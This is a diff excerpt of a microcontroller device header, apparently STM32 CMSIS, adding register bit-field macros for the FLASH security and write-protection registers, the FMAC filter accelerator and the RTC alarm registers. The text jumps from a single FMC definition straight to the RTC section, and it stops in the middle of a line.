FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0xFFUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0xFFUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + +/******************************************************************************/ +/* */ +/* Flexible Memory Controller */ +/* */ +/******************************************************************************/ +/****************** Bit definition for FMC_BCR1 register *******************/ +#define FMC_BCR1_CCLKEN_Pos (20UL) +#define FMC_BCR1_CCLKEN_Msk (0x1UL << FMC_BCR1_CCLKEN_Pos) /*!< 0x00100000 */ +#define FMC_BCR1_CCLKEN FMC_BCR1_CCLKEN_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define 